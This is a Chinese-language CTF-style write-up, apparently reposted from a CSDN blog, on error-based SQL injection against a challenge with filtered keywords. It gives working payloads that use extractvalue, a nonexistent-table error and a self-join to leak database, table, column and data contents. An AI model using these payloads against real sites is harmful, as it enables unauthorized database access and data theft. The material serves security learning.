码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • sql报错注入和联合注入


    1. 过滤:
    2. as
    3. IF
    4. rand()
    5. LEFT
    6. by
    7. update
    8. =
    9. substring
    10. handler
    11. union
    12. floor
    13. benchmark
    14. COLUMN
    15. UPDATE
    16. &
    17. sys.schema_auto_increment_columns
    18. &&
    19. '1'='1'
    20. database
    21. case
    22. AND
    23. right
    24. CAST
    25. FLOOR
    26. left
    27. updatexml
    28. DATABASES
    29. BENCHMARK
    30. BY
    31. sleep
    32. DATABASE
    33. insert
    34. anandd
    35. ascii
    36. CAST()

    其实一开始想到的是布尔盲注,因为输入1会返回txw4ever,输入0返回空白,但是禁用了ascii函数,禁用了updatexml函数,但是可以使用extractvalue函数。

    database被禁,所以可以考虑用访问一个不存在的数据库来返回数据库。

    1. 1'||(select * from aa)#或者将||换成or,爆出sqlsql库。
    2. -1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#
    3. 爆出output表
    4. -1' || extractvalue(1,concat(0x5c,(select*from (select*from output a join output b)c)))#
    5. 爆出data列名
    6. -1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#
    7. -1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#

    由于as也被过滤,无列名注入可以用join 连接

    首先自连接查询出来的表,没有using条件的结果是两张表的笛卡尔积,那么列名必然会有重复的部分,而主键是不允许重复的,所以查询出来会报错,也就把列名爆出来了

    select*from (select*from output a join output b)c

  • 相关阅读:
    人工智能前沿——无人自动驾驶技术
    SQLMAP自动注入-优化参数
    【前端方案】-表格排序列LRU缓存方案
    Java面向对象:封装
    【从零开始学习 SystemVerilog】6.6、SystemVerilog 接口—— Clocking Blocks(下)
    2023-10-25 数据库-数据库体系架构的理解-将数据库理论融入自身-记录与分析
    错误的方向,加上自学就相当于是在自己慢性自杀。
    网络安全清单:每个团队在远程工作时都需要了解的内容
    IDEA插件Mybatis Log Plugin的安装及其使用教程
    定时任务报警通知解决方案详解
  • 原文地址:https://blog.csdn.net/m0_73847654/article/details/134534980
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号